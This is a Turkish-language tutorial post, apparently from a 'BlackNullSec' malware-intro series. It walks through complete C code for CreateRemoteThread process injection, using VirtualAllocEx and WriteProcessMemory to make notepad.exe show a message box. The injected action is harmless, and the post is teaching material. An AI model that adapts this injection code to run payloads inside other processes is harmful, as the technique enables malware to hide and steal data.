Image

Malware giriş.

Malware

BlackNullSec Projeler #2: CreateRemoteThread projesi Nedir?

🚀 Amaç: Kendi programının dışındaki, çalışan başka bir programa (bu örnekte notepad.exe) sızarak, o programın normalde yapmayacağı bir şeyi ona zorla yaptırmak. Bu örnekteki görev, Notepad'in kendi kendine bir mesaj kutusu (MessageBox) göstermesini sağlamak..


CreateRemoteThread ile MessageBox kutusu cıkarma Projesi.


// Adım 1: Notepad.exe'yi başlat
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);

if (!CreateProcessA(
    "C:\\Windows\\System32\\notepad.exe",
    NULL, NULL, NULL, FALSE,
    0, // GUI uygulamaları için 0 yeterli
    NULL, NULL,
    &si, &pi
)) {
    printf("CreateProcess hatasi: %lu\n", GetLastError());
    return 1;
}
printf("[+] Notepad baslatildi. PID=%lu, Handle=%p\n", pi.dwProcessId, pi.hProcess);
// Yeni süreç başlayana kadar kısa bir bekleme eklemek iyi bir pratiktir.
Sleep(1000); 

// Adım 2: Hedef process'te MessageBoxA'nın metni için bellek ayır
// Metin için gereken boyut: metnin uzunluğu + null karakter ('\0')
SIZE_T messageSize = strlen(messageText) + 1;
LPVOID remoteMem = VirtualAllocEx(
    pi.hProcess,         // Hedef process'in handle'ı
    NULL,                // Adresi sistemin seçmesini iste
    messageSize,         // Ayırılacak bellek boyutu
    MEM_COMMIT | MEM_RESERVE, // Belleği ayır ve rezerve et
    PAGE_READWRITE       // Okuma/yazma izni ver
);

if (!remoteMem) {
    printf("VirtualAllocEx hatasi: %lu\n", GetLastError());
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return 1;
}
printf("[+] Notepad'in hafizasinda %zu byte yer ayrildi. Adres: %p\n", messageSize, remoteMem);

// Adım 3: Ayırdığımız belleğe mesaj metnini yaz
if (!WriteProcessMemory(
    pi.hProcess,         // Hedef process'in handle'ı
    remoteMem,           // Yazılacak adres
    messageText,         // Yazılacak veri (metin)
    messageSize,         // Verinin boyutu
    NULL                 // Yazılan byte sayısını umursamıyoruz
)) {
    printf("WriteProcessMemory hatasi: %lu\n", GetLastError());
    VirtualFreeEx(pi.hProcess, remoteMem, 0, MEM_RELEASE); // Hata olursa belleği serbest bırak
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return 1;
}
printf("[+] Mesaj metni hedef hafizaya yazildi.\n");

// Adım 4: Çalıştıracağımız fonksiyonun (MessageBoxA) adresini bul
// MessageBoxA, user32.dll içinde bulunur.
HMODULE hUser32 = GetModuleHandleA("user32.dll");
LPTHREAD_START_ROUTINE pMessageBoxA = (LPTHREAD_START_ROUTINE)GetProcAddress(hUser32, "MessageBoxA");

if (!pMessageBoxA) {
    printf("GetProcAddress hatasi: %lu\n", GetLastError());
    VirtualFreeEx(pi.hProcess, remoteMem, 0, MEM_RELEASE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return 1;
}
printf("[+] MessageBoxA fonksiyonunun adresi bulundu: %p\n", pMessageBoxA);

// Adım 5: Notepad içinde yeni bir thread başlat ve MessageBoxA'yı çalıştır
HANDLE hRemoteThread = CreateRemoteThread(
    pi.hProcess,             // Hedef process
    NULL,                    // Varsayılan thread güvenlik ayarları
    0,                       // Varsayılan yığın boyutu
    pMessageBoxA,            // Çalıştırılacak fonksiyonun adresi
    remoteMem,               // Fonksiyona gönderilecek parametre (mesaj metninin adresi)
    0,                       // Thread hemen başlasın
    NULL                     // Thread ID'sini almıyoruz
);

if (!hRemoteThread) {
    printf("CreateRemoteThread hatasi: %lu\n", GetLastError());
    VirtualFreeEx(pi.hProcess, remoteMem, 0, MEM_RELEASE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return 1;
}
printf("[+] Remote thread baslatildi! Notepad'de mesaj kutusu gorunmeli.\n");

// Temizlik
WaitForSingleObject(hRemoteThread, INFINITE); // Mesaj kutusu kapanana kadar bekle
printf("[+] Remote thread bitti.\n");

// Ayrılan belleği geri ver
VirtualFreeEx(pi.hProcess, remoteMem, 0, MEM_RELEASE);

// Handle'ları kapat
CloseHandle(hRemoteThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

printf("[+] Temizlik yapildi. Program sonlaniyor.\n");
return 0;

1. Ayarlar ve Kütüphaneler

Image placeholder
#include <windows.h> Kodun içindeki CreateProcessA, VirtualAllocEx gibi tüm özel Windows fonksiyonlarını kullanabilmemiz için gereken ana kütüphane.
#include <windows.h> Konsola printf ile "Notepad başlatıldı", "Hata oluştu" gibi bilgilendirme mesajları yazdırmak için kullanılıyor.
messageText: Notepad'in içinde göstereceğimiz mesaj kutusunun metni.

Adım 1: Notepad.exe'yi Başlatmak

Image placeholder
Amaç: Üzerinde işlem yapacağımız hedef programı (Notepad) çalıştırmak.
CreateProcessA: Windows'ta yeni bir proses (çalışan uygulama) başlatmak için kullanılan fonksiyondur.
si ve pi yapıları: Bu fonksiyon, başlatılan prosesle ilgili bilgileri bize döndürür. Bizim için en kritik olanlar pi'nin içindedir:
pi.dwProcessId: Başlatılan Notepad'in eşsiz Process ID (PID) numarası.
pi.hProcess: Başlatılan Notepad prosesine erişmemizi ve onu yönetmemizi sağlayan bir nevi "erişim bileti" veya "kimlik kartı" (Handle).
Sonraki tüm işlemleri bu hProcess'i kullanarak yapacağız.
Sleep(1000): Programa 1 saniye beklemesini söyler. Bu, Notepad'in tam olarak yüklenip hazır hale gelmesi için zaman tanımak adına 
iyi bir pratiktir.  

Adım 2: Hedef Process'te Bellek Ayırmak

Image placeholder
Amaç: Notepad'in sanal hafıza alanında, kendi mesaj metnimizi yazabileceğimiz küçük bir yer kiralamak.
Neden Gerekli? Her programın kendi hafıza alanı vardır ve bir program diğerinin hafızasına doğrudan erişemez. MessageBox fonksiyonunun
göstereceği metnin, Notepad'in kendi hafızasında olması gerekir. Bu yüzden önce Notepad'in içinde bir yer ayırıyoruz.
VirtualAllocEx: Başka bir prosesin (Ex = External) hafızasında yer ayırmak için kullanılır.
pi.hProcess: "Bu yeri Notepad'in içinde ayır" diyoruz.
messageSize: "Hello Mikail..." metninin sığacağı kadar yer istiyoruz.
PAGE_READWRITE: Ayırdığımız bu hafıza bölgesine hem okuma hem de yazma izni veriyoruz.

Adım 3: Ayrılan Belleğe Mesaj Metnini Yazmak

Image placeholder
Amaç: Bir önceki adımda Notepad'in hafızasında kiraladığımız boş alana, göstermek istediğimiz "Hello Mikail from remote Thread" metnini kopyalamak.
WriteProcessMemory: Bir prosesin hafızasına veri yazmayı sağlar.
pi.hProcess: "Yine Notepad'e yazacağız" diyoruz.
remoteMem: "Notepad'in içinde şu adrese yaz" diyoruz.
messageText: "İşte yazacağın veri bu" diyoruz.
Bu adımdan sonra artık Notepad'in hafızasının bir köşesinde bizim mesajımız duruyor.  

Adım 4: MessageBoxA Fonksiyonunun Adresini Bulmak

Image placeholder
Amaç: Notepad'e "şunu çalıştır" diyeceğiz ama neyi çalıştıracağını tam olarak bilmemiz lazım. Çalıştırmak istediğimiz fonksiyon MessageBoxA.
Bu adımda, bu fonksiyonun hafızadaki adresini buluyoruz.
Teknik Detay: MessageBoxA gibi temel arayüz fonksiyonları user32.dll isimli bir sistem kütüphanesinde bulunur. Windows, bu tür temel DLL'leri 
her GUI'li programın hafıza alanına aynı adresten yükler. Bu sayede bizim programımızdaki MessageBoxA'nın adresi ne ise, Notepad'deki adresi de
aynı olur. Bu, enjeksiyon tekniğinin kilit noktasıdır.
GetModuleHandleA("user32.dll"): Kendi programımızdaki user32.dll'in hafızadaki başlangıç adresini alır.
GetProcAddress(...): user32.dll içindeki MessageBoxA fonksiyonunun tam adresini bulur ve pMessageBoxA değişkenine atar.

Adım 5: Notepad İçinde Yeni Bir Thread Başlatmak ve Fonksiyonu Çalıştırmak

Image placeholder
Amaç: Enjeksiyon işleminin finali. Notepad'in içinde yeni bir "iş parçacığı" (thread) oluşturup ona "Git, şu adresteki 
MessageBoxA fonksiyonunu çalıştır" demek.
CreateRemoteThread: Başka bir prosesin içinde yeni bir thread başlatır.
pi.hProcess: Thread'in Notepad içinde başlatılacağını belirtir.
pMessageBoxA: Yeni thread'in çalıştıracağı kodun başlangıç adresi. Yani MessageBoxA fonksiyonu.
remoteMem: MessageBoxA fonksiyonu parametre olarak ne alacaktı? Gösterilecek metnin adresini. İşte burada, Adım 3'te Notepad'in
hafızasına yazdığımız metnin adresini (remoteMem) parametre olarak veriyoruz.
Bu fonksiyon çalıştığı anda, Notepad kendi kendine, sanki kendi koduymuş gibi MessageBoxA("Hello Mikail from remote Thread", ...)
fonksiyonunu çağırır ve ekranda mesaj kutusu belirir!

Son Adım: Temizlik

Image placeholder
WaitForSingleObject: Mesaj kutusu kullanıcı tarafından kapatılana kadar programın beklemesini sağlar.
VirtualFreeEx: Notepad'in hafızasında ayırdığımız yeri geri iade eder. (Evi boşaltmak gibi)
CloseHandle: Açtığımız tüm "erişim biletlerini" (handle'ları) sisteme geri vererek kaynak sızıntısını önler. Bu çok önemli bir adımdır.
Özetle: Kullanım Alanları ve Tehlikeleri
Bu teknik, oldukça güçlüdür ve hem iyi hem de kötü amaçlarla kullanılabilir:
İyi Amaçlar: Hata ayıklayıcılar (debugger), oyun hilelerini engelleyen anti-cheat yazılımları veya bir programın davranışını değiştiren 
eklentiler bu mantıkla çalışır.
Kötü Amaçlar: Virüsler, trojanlar ve casus yazılımlar (keylogger vb.) da başka programlara sızmak, veri çalmak veya sistemi ele geçirmek
için tam olarak bu tekniği kullanır.

⚠️ Kritik Uyarı

Bu teknikler yalnızca eğitim amaçlıdır. Gerçek sistemlere uygulanması yasadışı olabilir. Asla gerçek ortamlarda test etme.

BlackNullSec
“Windows Belleğiyle Konuşan Kodlar”

🌟 Sonraki Yazı: Process Hollowing

← Önceki Sonraki →